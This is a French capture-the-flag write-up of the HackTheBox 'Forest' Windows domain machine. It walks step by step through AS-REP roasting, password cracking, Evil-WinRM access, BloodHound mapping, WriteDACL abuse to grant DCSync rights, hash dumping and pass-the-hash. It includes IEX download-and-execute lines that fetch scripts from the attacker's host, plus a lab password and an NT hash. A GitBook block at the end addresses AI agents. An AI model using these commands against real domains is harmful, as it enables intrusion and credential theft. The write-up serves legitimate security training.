> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/forest-hackthebox-writeup.md).

# Compte rendu HackTheBox de Forest

{% embed url="<https://app.hackthebox.com/machines/212>" %}

{% hint style="warning" %}
**Compétences :**

* AXFR - Attaque de transfert de zone de domaine (échec)
* Énumération RPC - Obtention d'utilisateurs de domaine valides
* Réalisation d'une attaque AS-RepRoast avec les utilisateurs obtenus
* Cassage de hachages
* Abus de WinRM - EvilWinRM
* Énumération LDAP - ldapdomaindump
* Énumération BloodHound
* Collecte d'informations système avec SharpHound.ps1 - PuckieStyle
* Représentation et visualisation des données dans BloodHound
* Recherche d'un vecteur d'attaque dans BloodHound
* Abus du groupe Account Operators - Création d'un nouvel utilisateur
* Abus du groupe Account Operators - Attribution d'un groupe au nouvel utilisateur créé
* Abus de WriteDacl dans le domaine - Octroi des privilèges DCSync
* Exploitation DCSync - Secretsdump.py
  {% endhint %}

## Reconnaissance

**Configuration de l'espace de travail :**

Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

<figure><img src="/files/eed271c103002e17f8f92e7bb7b082acf9adabe6" alt=""><figcaption></figcaption></figure>

**Vérification de la connectivité VPN**

Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.

<figure><img src="/files/9d8173df87ee215c167a4101328b1d46e56b988f" alt=""><figcaption></figcaption></figure>

**Découverte des ports ouverts avec Nmap :**

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.161 -oG allPorts
```

<figure><img src="/files/d7a8a5ec9e140258172b603ff7a5d6fc84699792" alt=""><figcaption></figcaption></figure>

**Analyse des ports ouverts avec extractport :**/ Utilisation de la fonction extractport pour afficher les ports ouverts dans un format concis et les copier dans le presse-papiers.

<figure><img src="/files/d66da68c1df8dd939e9cc5e7e3f58bd91df80f00" alt=""><figcaption></figcaption></figure>

**Analyse des versions des ports avec Nmap :**/ Utiliser Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" :

```bash
nmap -sCV -p88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49671,49676,49677,49682,49705,49914 10.10.10.161 -oN targeted
```

<figure><img src="/files/cd2c4adbce6afd568d87adf84d48c27b633600f7" alt=""><figcaption></figcaption></figure>

## **Liste et opération:** <a href="#enumeration-et-exploitation" id="enumeration-et-exploitation"></a>

### **Reconnaissance SMB:** <a href="#reconnaissance-smb" id="reconnaissance-smb"></a>

Utilisation de CrackMapExec pour identifier le système d'exploitation

```bash
crackmapexec cmb 10.10.10.161
```

<div data-full-width="true"><figure><img src="/files/33e423b8f6402a82164c44ff81dbd818ce3322f9" alt=""><figcaption></figcaption></figure></div>

Pour résoudre des noms de domaine en adresses IP via DNS, le nom de domaine associé à son adresse IP/ est inséré dans le `/etc/hosts` .

<figure><img src="/files/eca05bfa1e9b328436a6cf9657dccb34164834f2" alt=""><figcaption></figcaption></figure>

/*/Exploration des partages SMB sur le réseau pour identifier les ressources partagées, mais aucun résultat. //*

```bash
crackmapexec smb 10.10.10.161 --shares
```

```bash
smbclient -L 10.10.10.161 -N
```

<figure><img src="/files/96bdb3ca22aac31451d59563563c1f85a82cff04" alt=""><figcaption></figcaption></figure>

### **Reconnaissance RPC:** <a href="#reconnaissance-rpc" id="reconnaissance-rpc"></a>

Utilisation de rpcclient pour interagir avec les services RPC et collecter des informations sur les ressources

```bash
rpccclient -U "" 10.10.10.161 -N
enumdomusers
```

<figure><img src="/files/40732b85b54847492d9e62a4378b1a7d0cd97172" alt=""><figcaption></figcaption></figure>

#### Lister les groupes:

```bash
rpcclient -U "" 10.10.10.161 -N -c 'enumdomgroups'
```

<figure><img src="/files/afb4067a2698bd898eead39ff66f1bd1ba426785" alt=""><figcaption></figcaption></figure>

## Attaque ASREPRoast:

#### Avec une liste d'utilisateurs valides, nous allons mener une attaque AS-RepRoast car nous n'avons pas besoin des mots de passe des utilisateurs.

Nous allons utiliser `grep` pour filtrer les noms d'utilisateurs, puis insérer ces données dans un fichier

```bash
rpcclient -U "" 10.10.10.161 -N -c 'enumdomusers' | grep -oP '/[.*?/]' | grep -v 0x | tr -d '[]' > users
```

<figure><img src="/files/84913a199f6687b0b41caf5059321f2449d14015" alt=""><figcaption></figcaption></figure>

#### Nous utilisons l'outil GetNPUsers.py pour extraire les informations de l'utilisateur sans mot de passe:

```bash
GetNPUsers.py htb.local/ -no-pass -usersfile users
```

<figure><img src="/files/cbf8ab82e707fcbb5e68b2f64fe1575b88b200a8" alt=""><figcaption></figcaption></figure>

#### Nous récupérons le hash du mot de passe de l'utilisateur "lucinda" et essayons de le casser avec John the Ripper en utilisant une liste de mots de passe prédéfinie:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

<figure><img src="/files/1e371f6cc7780533bb80d4f01de83d1c02dd5ab0" alt=""><figcaption></figcaption></figure>

#### Nous utilisons CrackMapExec pour vérifier si le mot de passe cassé est correct en tentant une connexion WinRM:

```bash
crackmapexec winrm 10.10.10.161 -u 'svc-alfresco' -p 's3rvice'
```

<div data-full-width="true"><figure><img src="/files/d0b5556eababc5b883edfa2ecadd971d4b150c24" alt=""><figcaption></figcaption></figure></div>

#### Enfin, nous utilisons Evil-WinRM pour nous connecter à la machine distante avec les informations d'identification cassées:

```bash
evil-winrm -i 10.10.10.161 -u 'svc-alfresco' -p 's3rvice'
```

<figure><img src="/files/c00faf6c4939a54fad9527bdf00b59b82118ae64" alt=""><figcaption></figcaption></figure>

## Élévation de privilèges :

### Énumération du domaine avec BloodHound <a href="#domain-enumeration-with-bloodhound" id="domain-enumeration-with-bloodhound"></a>

<details>

<summary>Installation de BloodHound :</summary>

```
apt install neo4j bloodhound
neo4j console &> /dev/null & disown
lsof -i:7474
```

/*/Se connecter à BloodHound avec les identifiants neo4j:neo4j. //*

![](https://hacking-notes-jordan.gitbook.io/~gitbook/image?url=https:%2F%2F3892280740-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FOeqybfPyWliD6m1hbKa3%252Fuploads%252F5FZcDczkNZW0GsV9GveF%252Fimage.png%3Falt=media%26token=5de0c395-08b3-4abc-b373-683dddae7528/\&width=300/\&dpr=4/\&quality=100/\&sign=24bf837c04919e72ec25399b5eb63e0e4c1ea9abe1362606119b2c5ac4d8fd74)

**Lancement de BloodHound.**

```bash
bloodhound &> /dev/null & disown
```

</details>

<figure><img src="/files/7b976ee9cedb9a948481883e416c526e5e0d9b02" alt=""><figcaption></figcaption></figure>

### Collecter des informations avec SharpHound.ps1 <a href="#collect-information-with-sharphound.ps1" id="collect-information-with-sharphound.ps1"></a>

{% embed url="<https://github.com/puckiestyle/powershell/blob/master/SharpHound.ps1>" %}

### Transférer les données collectées vers un serveur Linux.

```bash
python3 -m http.server 80
```

```bash
IEX(New-object Net.WebClient).downloadString('http://10.10.14.8/SharpHound.ps1')
```

<figure><img src="/files/ca6b1b6b70120679364e50e0060069afb7e843e0" alt=""><figcaption></figcaption></figure>

```bash
Invoke-BloodHound -CollectionMethod All
```

<figure><img src="/files/24f99ccb3690afd117a848a69c2045202e7814f2" alt=""><figcaption></figcaption></figure>

#### Nous transférons le fichier zip à notre équipe.

```bash
download C:/Users/svc-alfresco/Desktop/bh/20240329121547_BloodHound.zip data.zip
```

<figure><img src="/files/a4a3c5e76658279c1a0d5a9633776409e192423b" alt=""><figcaption></figcaption></figure>

/*/Importer le fichier zip dans BloodHound. //*

<figure><img src="/files/1ea7ffd5ec7217e7d5982d14e26521606a36f8f8" alt=""><figcaption></figcaption></figure>

### Analyse et opérations BloodHound <a href="#analyse-et-exploitation" id="analyse-et-exploitation"></a>

#### Filtrer les données pour trouver le plus court chemin vers l'administrateur du domaine.

<div data-full-width="true"><figure><img src="/files/a01a15e18b7f309d8d16e8233ad8c965bcc4497a" alt=""><figcaption></figcaption></figure></div>

#### Identification d'une appartenance à un groupe potentiellement problématique (Account Operator).

<div data-full-width="true"><figure><img src="/files/247c02ddd902dcfe7d8ca3405ee4e748270a7afd" alt=""><figcaption></figcaption></figure></div>

<div data-full-width="true"><figure><img src="/files/95cad57c126d95c3a9e1fb45b6fa1a995867d5ce" alt=""><figcaption></figcaption></figure></div>

#### Utilisation de la capacité de création d'utilisateurs pour préparer une attaque DCSync.

```bash
net user jordanmacia password123$ /add /domain
```

<figure><img src="/files/a93b3d3f1113b1d58c0b5d5090212ee88eacbfd2" alt=""><figcaption></figcaption></figure>

### Tentative DCSync sans droits suffisants

```bash
impacket-secretsdump htb.local/jordanmacia@10.10.10.161
```

<figure><img src="/files/14dcd7042291a067e7965321e524f4bfa43539ed" alt=""><figcaption></figcaption></figure>

#### Ajout de l'utilisateur à un groupe avec des permissions plus élevées (`Exchange Windows Permissions`).

<figure><img src="/files/389b728c093b29ec6cd147a066d1b360bfb7fe72" alt=""><figcaption></figcaption></figure>

```bash
net group "Exchange Windows Permissions" jordanmacia /add
```

<figure><img src="/files/9308662d7da93071c407df14e66dc1c5f3e9ed20" alt=""><figcaption></figcaption></figure>

### Attaque WriteDACL :

<figure><img src="/files/7b13b7395c12bda74048d262923c5a6be56d0fe2" alt=""><figcaption></figcaption></figure>

```bash
$SecPassword = ConvertTo-SecureString 'password123$' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('htb.local/jordanmacia', $SecPassword)
```

Préparation de l'attaque WriteDACL à l'aide de PowerView\.ps1 pour ajouter des fonctionnalités.

{% embed url="<https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1>" %}

<figure><img src="/files/d1412c95440681871c304a719afcd15d2ce610f6" alt=""><figcaption></figcaption></figure>

#### Transfert de fichier

```
python3 -m http.server 80
```

```bash
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11/PowerView.ps1')"
```

## Vulnérabilité de l'attaque DCSync <a href="#dcsync-attack-vulnerability" id="dcsync-attack-vulnerability"></a>

#### Exécuter la commande Add-DomainObjectAcl pour obtenir les hashes.

```
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity jordanmacia -Rights DCSync
```

#### Utilisation d'Impacket pour extraire des hashes avec l'utilisateur jordanmacia.

```
impacket-secretsdump htb.local/jordanmacia@10.10.10.161
```

<figure><img src="/files/dbe31cdea8414299e595af23608c0725598257fd" alt=""><figcaption></figcaption></figure>

### Attaque Pass-the-Hash :

Utilisation du hash NT de l'administrateur pour une attaque Pass-the-Hash.

```bash
evil-winrm -i 10.10.10.161 -u 'Administrator' -H '32693b11e6aa90eb43d32c72a07ceea6'
```

#### Accès au système avec des droits administrateur.

<figure><img src="/files/768c54395210b9f32d1537452924d7fee9cdacb4" alt=""><figcaption></figcaption></figure>

### Drapeau final :)

<figure><img src="/files/67e1cdb7ea005d1f076f8460d138c487343968d3" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/12505a9b30a68e1c13771cc4fe03cdc51e2dbb72" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/forest-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
